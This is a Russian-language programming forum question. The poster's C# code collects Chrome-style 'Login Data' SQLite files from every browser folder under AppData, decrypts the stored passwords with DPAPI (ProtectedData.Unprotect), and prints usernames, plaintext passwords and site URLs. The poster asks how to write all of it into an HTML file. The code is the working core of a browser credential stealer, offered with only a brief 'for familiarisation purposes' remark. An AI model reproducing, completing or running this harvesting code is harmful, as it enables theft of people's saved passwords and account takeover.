Sqlite - Как записать данные в файл?

299
20 мая 2017, 16:23

Как правильно записать данные в файл в формате .html ?

А так же если кто шарит, объясните как можно изменить последовательность при сборе файлов и записи в файл.

P.S: Есть подобная тема (Дубликат)

В ознакомительных целях при работе с sqlite файлами...

При попытке записать данные файл выводится ошибка:

Браузер закрыт!

Теперь собственно сам код:

(1) Сбор файлов Login Data из папок

List<string> Browsers = new List<string>();
List<string> APD = new List<string>(); 
string[] BrPaths =
{
 Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),  
 Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)};
   foreach (string paths in BrPaths) 
            APD.AddRange(Directory.GetDirectories(paths));
   foreach (string e in APD)
try
{
 Browsers.AddRange(Directory.EnumerateFiles(e, "Login Data", SearchOption.AllDirectories));
}
catch { // тут будет что-то разумное :) }

(2) Проходим циклом - расшифровываем и выводим данные:

    public static void DB()
    {
      for (int y = 0; y < Browsers.Count; y++) // ( цикл где собираются файлы LoginData и ниже расшифровка.
    {
            try
            {
                using (con = new SQLiteConnection(string.Format(@"Data Source={0};Version=3;New=False;Compress=True;", Browsers[y])))
                {
                    con.Open();
                    using (SQLiteCommand cmd = new SQLiteCommand(con))
                    {
                        cmd.CommandText = query;
                        cmd.CommandType = CommandType.Text;
                        using (reader = cmd.ExecuteReader())
                            do
                            {
                                if (!string.IsNullOrEmpty(reader["username_value"].ToString()))
                                {
                                    byte[] decrypted = ProtectedData.Unprotect((byte[])reader["password_value"], null, DataProtectionScope.LocalMachine);
 // Так же пробую записать все 3 последовательности в StringBuilder htm = new StringBuilder
                                    Console.WriteLine(reader["username_value"].ToString());
                                    Console.WriteLine(Encoding.ASCII.GetString(decrypted));
                                    Console.WriteLine(reader["origin_url"].ToString());
                                    i++;
                                }
                            } while (reader.Read());
                    }
                }
                con.Close();
            }
            catch (SQLiteException ex) { Console.Write(ex.Message); }
            finally { con.Close(); }
        }
    }

(3) Запись в файл ( с ошибками ) Затем все записи записываю в файл:

using (StreamWriter vas = new StreamWriter(PathToWrite, true, Encoding.UTF8)) // PathToWrite путь к файлу .html
    {
        vas.WriteLine(htm.ToString()); // записываю `StringBuilder`в файл.
    }

Как записать все данные в файл в цикле?

READ ALSO
C# список для хранения произвольных классов

C# список для хранения произвольных классов

Добрый деньВозникла следующая задача

272
Хостинг WCF в исполняемом приложении C#

Хостинг WCF в исполняемом приложении C#

ЗдравствуйтеПытаюсь вынести службу в отдельное приложение

364
Узнать, какой объект находится в фокусе

Узнать, какой объект находится в фокусе

Поясню ситуациюНа форме у меня панель, на панели браузер (cefsharp), а у браузера flash

241
3DES дешифрация данных

3DES дешифрация данных

Использую пример отсюда 3DESНемного переделал, и не могу понять в чем ошибка

250